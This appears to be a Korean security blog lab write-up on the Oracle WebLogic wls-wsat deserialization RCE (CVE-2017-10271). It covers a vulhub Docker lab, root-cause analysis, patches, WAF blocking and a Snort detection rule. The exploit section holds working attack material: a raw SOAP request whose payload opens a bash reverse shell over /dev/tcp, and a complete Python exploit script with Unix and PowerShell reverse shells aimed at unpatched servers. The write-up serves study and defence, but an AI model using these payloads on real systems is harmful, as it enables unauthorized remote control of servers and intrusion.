1. Oracle WebLogic
- 오라클이 개발한 웹 애플리케이션 서버
- JAVAEE 아키텍처를 기반으로 하는 미들웨어
2. 취약점
- Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점
- 해당 취약점을 이용해 암호화폐 채굴프로그램을 실행하는 이슈가 있다고 함
① 영향받는 버전
- Oracle Weblogic Server 10.3.3.0
- Oracle Weblogic Server 10.3.6 0
- Oracle Weblogic Server 12.2.1.1
- Oracle Weblogic Server 12.2.1.2
- Oracle Weblogic Server 12.1.3.0
2.1 실습
- docker 빌드 및 실행
git clone https://github.com/vulhub/vulhub
cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d
- 공격자의 터미널 생성
- Exploit 수행
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.56.112:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.56.102/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
- Exploit 결과 공격자는 쉘을 획득하고, 임의의 명령을 수행할 수 있게됨
- 이 외에도 웹쉘 생성 등이 가능함
- Exploit 과정의 패킷 확인
2.2 분석
- 정리하면 XML을 구문 분석하는 과정에서 Element 필드 값이 Object 이면 예외가 발생하며 이로 인해 취약점이 발생
- wls-wsat.war에서 발생하며, 이 구성 요소는 weblogic과 함께 제공되는 webservices 핸들러를 사용하여 SOAP 요청을 처리
- WorkContextServerTube 클래스의 processRequest 메소드는 사용자 요청에서 XML을 분할하여 실제 실행될 XML을 추출하여 readHeaderOld 메소드에 넘겨줌
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
- ByteArrayOutputStream var4는 PoC 코드의 실제 실행 부분으로 채워짐 (해당 근거는 정확히 모르겠음)
- [사진 7]에서 덮어씌워진 공격 코드가 [사진 8]의 XMLDecoder에 의해 실행
2.3 PoC
- 사용자로부터 인수(self.cmd_base(), self.cmd_opt(), self.cmd_payload)를 전달받아 get_process_builder_payload 함수에서 공격 페이로드를 완성
- 요청 URL : /wls-wsat/CoordinatorPortType
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Weblogic wls-wsat Component Deserialization RCE
# Date Authored: Jan 3, 2018
# Date Announced: 10/19/2017
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Github: https://github.com/kkirsche/CVE-2017-10271
# Exploit is based off of POC by Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
# Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
# CVE: CVE-2017-10271
# Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
# (Python 3) Example check listener: python3 -m http.server 4444
# (Python 2) Example check listener: python -m SimpleHTTPServer 4444
# (Netcat) Example exploit listener: nc -nlvp 4444
from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from typing import Literal
from xml.sax.saxutils import escape
class Exploit:
def __init__(self, check: bool, rhost: str, lhost: str, lport: str, windows: bool) -> None:
self.url = rhost.strip("/") if rhost.endswith('/') else rhost
self.lhost = lhost
self.lport = lport
self.check = check
self.target = "win" if windows else "unix"
if self.target == 'unix':
# Unix reverse shell
# You should also be able to instead use something from MSFVenom. E.g.
# msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
self.cmd_payload = (
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
"SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
"s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
).format(lhost=self.lhost, lport=self.lport)
else:
# Windows reverse shell
# Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
self.cmd_payload = (
r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
)
self.cmd_payload = escape(self.cmd_payload)
def cmd_base(self) -> Literal["cmd", "/bin/sh"]:
return "cmd" if self.target == "win" else "/bin/sh"
def cmd_opt(self) -> Literal["/c", "-c"]:
return "/c" if self.target == "win" else "-c"
def get_generic_check_payload(self) -> str:
random_uri = ''.join(
choice(ascii_uppercase + ascii_lowercase + digits)
for _ in range(16))
return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{self.lhost}:{self.lport}/{random_uri}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
def get_process_builder_payload(self) -> str:
return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{self.cmd_base()}</string>
</void>
<void index="1">
<string>{self.cmd_opt()}</string>
</void>
<void index="2">
<string>{self.cmd_payload}</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
def print_banner(self) -> None:
print("=" * 80)
print("CVE-2017-10271 RCE Exploit")
print("written by: Kevin Kirsche (d3c3pt10n)")
print(f"Remote Target: {self.url}")
print(f"Shell Listener: {self.lhost}:{self.lport}")
print("=" * 80)
def post_exploit(self, data: str) -> None:
headers = {
"Content-Type":
"text/xml;charset=UTF-8",
"User-Agent": (
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 "
+ "(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
),
}
vulnurl = f"{self.url}/wls-wsat/CoordinatorPortType"
try:
_ = post(
vulnurl, data=data, headers=headers, timeout=10, verify=False)
if self.check:
print("[*] Did you get an HTTP GET request back?")
else:
print("[*] Did you get a shell back?")
except Exception as e:
print('[!] Connection Error')
print(e)
def run(self) -> None:
self.print_banner()
if self.check:
print('[+] Generating generic check payload')
payload = self.get_generic_check_payload()
else:
print('[+] Generating execution payload')
payload = self.get_process_builder_payload()
print('[*] Generated:')
print(payload)
if self.check:
print('[+] Running generic check payload')
else:
print(f'[+] Running {self.target} execute payload')
self.post_exploit(data=payload)
if __name__ == "__main__":
parser = ArgumentParser(
description=(
"CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. "
+ "Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, "
+ "12.2.1.1.0 and 12.2.1.2.0."
)
)
parser.add_argument(
"-l",
"--lhost",
required=True,
dest="lhost",
nargs="?",
help="The listening host that the remote server should connect back to",
)
parser.add_argument(
"-p",
"--lport",
required=True,
dest="lport",
nargs="?",
help="The listening port that the remote server should connect back to",
)
parser.add_argument(
"-r",
"--rhost",
required=True,
dest="rhost",
nargs="?",
help="The remote host base URL that we should send the exploit to",
)
parser.add_argument(
"-c",
"--check",
dest="check",
action="store_true",
help=(
"Execute a check using HTTP to see if the host is vulnerable. This will"
+ "cause the host to issue an HTTP request. This is a generic check."
),
)
parser.add_argument(
"-w",
"--win",
dest="windows",
action="store_true",
help="Use the windows cmd payload instead of unix payload (execute mode only).",
)
args = parser.parse_args()
exploit = Exploit(
check=args.check,
rhost=args.rhost,
lhost=args.lhost,
lport=args.lport,
windows=args.windows,
)
exploit.run()
- PoC에서 확인된 URL외 다음 URL을 통한 공격도 가능
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11
3. 대응방안
3.1 서버측면
① 최신 버전 업데이트 적용
- object , new , method , void 및 array 와 같은 필드의 사용을 제한함으로써 보안 우회를 방지
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}
- patch v171017 이상 버전의 패치로 업데이트
※ 10.3.5 이하는 10.3.6으로 업데이트 후 패치
※ 패치 링크는 Oracle 계약이 되어있는 계정만 확인 가능
Product Home
|
Patch
|
Advisory Number
|
Comments
|
WebLogic Server 12.2.1.2 home
|
WLS PSU 12.2.1.2.171017 Patch 26485996
|
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
|
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
|
WebLogic Server 12.2.1.1 home
|
WLS PSU 12.2.1.1.171017 Patch 26519400
|
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
|
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
|
WebLogic Server 12.1.3.0 home
|
WLS PSU 12.1.3.0.171017 Patch 26519417
|
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
|
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
|
WebLogic Server 10.3.6.0 home
|
WLS PSU 10.3.6.0.171017 Patch 26519424
|
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
|
See Note 1607170.1, SSL Authentication Problem Using WebLogic 10.3.6 and 12.1.1 With JDK1.7.0_40 or Higher
Fix for CVE-2017-5638 is not included in the WLS PSU patches. See Note 2255054.1, "Upgrade Apache Struts 2 to Version 2.3.32 for WebLogic Code Example" |
② 업데이트가 불가할 경우 다음 중 한 가지를 수행
⒜ wls-wsat 컴포넌트 URL을 웹 방화벽에서 차단
- /wls-wsat/*
- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11
⒝ wls-wsat 컴포넌트 삭제
- find / -name *wls-wsat* 검색 후 삭제
⒞ wls-wsat 컴포넌트 비활성화 옵션 추가
# setDomainEnv.sh 파일을 설정하거나 본인이 알고있다면 다른 쉘스크립트를 수정해도 된다.
# $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$ vi setDomainEnv.sh
... (생략)
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${WLP_JAVA_PROPERTIES}"
export JAVA_PROPERTIES
JAVA_OPTIONS="${JAVA_OPTIONS} ${JAVA_PROPERTIES} -Dwlw.iterativeDev=${iterativeDevFlag} -Dwlw.testConsole=${testConsoleFlag} -Dwlw.logErrorsToConsole=${logErrorsToConsoleFlag}"
JAVA_OPTIONS="-Dweblogic.wsee.wstx.wsat.deployed=false ${JAVA_OPTIONS}"
export JAVA_OPTIONS
... (생략)
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$
3.2 네트워크 측면
- wls-wsat 컴포넌트틀 통한 요청을 탐지할 수 있는 정책 생성 및 적용
alert tcp any any -> any any (msg:"Oracle WebLogic WLS Security Component RCE (CVE-2017-10271)"; flow:established,from_client; content:"wls-wsat"; http_uri; nocase;)
- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26948
- https://www.oracle.com/security-alerts/cpuoct2017.html
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://paper.seebug.org/487/
'취약점 > RCE' 카테고리의 다른 글
VMware Workspace ONE Access 및 Identity Manager RCE (CVE-2022-22954) (0) | 2023.01.02 |
---|---|
Websvn 2.6.0 RCE (CVE-2021-32305) (0) | 2022.12.26 |
Joomla HTTP Header RCE (CVE-2015-8562) (0) | 2022.12.18 |
Drupalgeddon2 (CVE-2018-7600) (0) | 2022.12.11 |
SMB RCE 취약점 (MS17-010, CVE-2017-0143 ~ 0148) (0) | 2022.12.07 |